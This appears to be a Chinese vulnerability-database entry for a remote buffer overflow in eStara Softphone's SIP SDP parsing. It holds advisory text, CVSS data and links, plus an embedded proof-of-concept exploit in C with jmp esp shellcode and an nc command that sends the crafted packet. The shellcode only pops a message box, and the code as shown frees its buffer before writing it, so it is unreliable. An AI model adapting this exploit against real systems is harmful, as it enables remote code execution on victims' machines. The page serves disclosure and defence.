CVE-2006-0189
CVSS7.5
发布时间 :2006-01-13 06:03:00
修订时间 :2011-03-07 21:29:32
NMCOE    

[原文]Buffer overflow in eStara Softphone 3.0.1.14 through 3.0.1.46 allows remote attackers to execute arbitrary code via a long attribute (aka "a") field in the SDP data of a SIP packet on UDP port 5060.


[CNNVD]eStara Softphone SIP SDP请求远程缓冲区溢出漏洞(CNNVD-200601-135)

        eStara Softphone是一款基于SIP(Session Initiation Protocol)的VoIP网络电话软件。
        eStara Softphone的客户端实现上存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。eStara Softphone的客户端处理带超长参数串的INVITE指令时存在溢出,攻击者可以利用此漏洞执行溢出攻击,从而在服务器上执行指令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:estara:softphone:3.0.1.46
cpe:/a:estara:softphone:3.0.1.14

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0189
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-0189
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200601-135
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/24090
(UNKNOWN)  XF  estara-sip-sdp-bo(24090)
http://www.vupen.com/english/advisories/2006/0167
(UNKNOWN)  VUPEN  ADV-2006-0167
http://www.securityfocus.com/bid/16213
(UNKNOWN)  BID  16213
http://www.securityfocus.com/archive/1/archive/1/421596/100/0/threaded
(VENDOR_ADVISORY)  BUGTRAQ  20060111 eStara Softphone SIP stack Buffer Overflow Vulnerability
http://securitytracker.com/id?1015481
(UNKNOWN)  SECTRACK  1015481
http://secunia.com/advisories/18410
(UNKNOWN)  SECUNIA  18410
http://www.osvdb.org/22348
(UNKNOWN)  OSVDB  22348

- 漏洞信息

eStara Softphone SIP SDP请求远程缓冲区溢出漏洞
高危 缓冲区溢出
2006-01-13 00:00:00 2006-01-17 00:00:00
远程  
        eStara Softphone是一款基于SIP(Session Initiation Protocol)的VoIP网络电话软件。
        eStara Softphone的客户端实现上存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。eStara Softphone的客户端处理带超长参数串的INVITE指令时存在溢出,攻击者可以利用此漏洞执行溢出攻击,从而在服务器上执行指令。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        http://www.estara.com/softphone

- 漏洞信息 (1413)

eStara Softphone <= 3.0.1.46 (SIP) Remote Buffer Overflow Exploit (EDBID:1413)
windows remote
2006-01-12 Verified
0 ZwelL
N/A [点击下载]
/***************************************
eStara Softphone buffer overflow exploit
tested on :
	eStara Softphone 3.0.1.14
		||||||
	eStara Softphone 3.0.1.46
Vender website : http://www.estara.com/softphone/softph.exe

Run this application, then use nc to send builded packet :
nc -u 127.0.0.1 5060 <sip_overflow_exploit.dat
It will display a "hack" dialogbox in the target if it runs softphone.

Author : ZwelL
Mail : zwell@sohu.com
WebSite : http://www.donews.net/zwell
Data : 2006.01.11
**************************************/

#include <windows.h>
#include <stdio.h>

unsigned char invite[] = {
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};

unsigned char jmpesp[] ={ //jmpesp=0x7ffa4512;
	0x12, 0x45, 0xfa, 0x7f
};

unsigned char end[] = {
	0x32, 0x33, 0x34, 0x35, 0x36, 
	0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 
	0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 
	0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 
	0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 
	0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x3A, 0x30, 0x20, 0x50, 0x43, 0x4D, 0x55, 0x2F, 
	0x38, 0x30, 0x30, 0x30, 0x0D, 0x0A
};



unsigned char scode[] =
"\xB8"
"\x75\xC1\xe4\x88" //Address of MessageBoxA + 0x11111111
"\x2D\x11\x11\x11\x11\x50\x59\x33\xc0\x50\x68"
"\x68\x61\x63\x6b"	//"hack"
"\x54\x5a\x50\x52\x52\x50\x53\x51\xc3";

//Shellcode:
//B8 75C1e488 MOV EAX,88e4C175 ; MessageBoxA + 0x11111111 to
//2D 11111111 SUB EAX,11111111 ; Make characters readable
//50 PUSH EAX ; xchg registers : eax = 77D3b064
//59 POP ECX ; Offset to API.
//33C0 XOR EAX,EAX ; Create Null
//50 PUSH EAX ; Put ascii0 end of string
//68 6861636b PUSH 6b636168 ; Create string.= hack
//54 PUSH ESP ; Get the offset to the 
//5A POP EDX ; Message String
//MessageBox call
//50 PUSH EAX ; Null Pointer
//52 PUSH EAX ; Message
//52 PUSH EDX ; Message
//50 PUSH EAX ; Null Pointer
//53 PUSH EBX ; Return address: 0x00000000
//51 PUSH ECX ; Address of MessageBoxA
//C3 RETN ; Jump 


int main()
{
	FILE *stream;
	unsigned char *exploitbuf;
	int size;
	char *filename = "sip_overbuf_exploit.dat";
	DWORD msgboxaddr = (DWORD)MessageBoxA; //Windows XP EN SP2 MessageBoxA address = 0x77d6e824;
											//If others, just change it;

	size = sizeof(invite)+sizeof(jmpesp)+sizeof(end);
	exploitbuf = (unsigned char *)malloc(size);
	printf("exploitbuf len = %d\n", size);
	memcpy(exploitbuf, invite, sizeof(invite));
	memcpy(exploitbuf+sizeof(invite), jmpesp, sizeof(jmpesp));
	memcpy(exploitbuf+sizeof(invite)+sizeof(jmpesp), end, sizeof(end));
	*(DWORD *)&scode[1] = msgboxaddr+0x11111111;
	memcpy(exploitbuf+sizeof(invite)+sizeof(jmpesp), scode, sizeof(scode));
	

	if( (stream = fopen( filename, "w+b" )) == NULL )
		printf("Build File Error!!!\n");	
	else
		printf("Build File %s successful! ^_^\n", filename);

	free(exploitbuf);
	fwrite( exploitbuf, size, 1, stream );
	fclose(stream);
}

// milw0rm.com [2006-01-12]
		

- 漏洞信息

22348
eStara SoftPhone SIP Packet SDP Data attribute Field Overflow
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

A remote overflow exists in Softphone. The software fails to correctly validate the SDP session 'Data' attribute field in SIP packets, resulting in a stack overflow. With a specially crafted request, an attacker can cause arbitrary code execution, resulting in a loss of integrity.

- 时间线

2006-01-11 Unknow
2006-01-11 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

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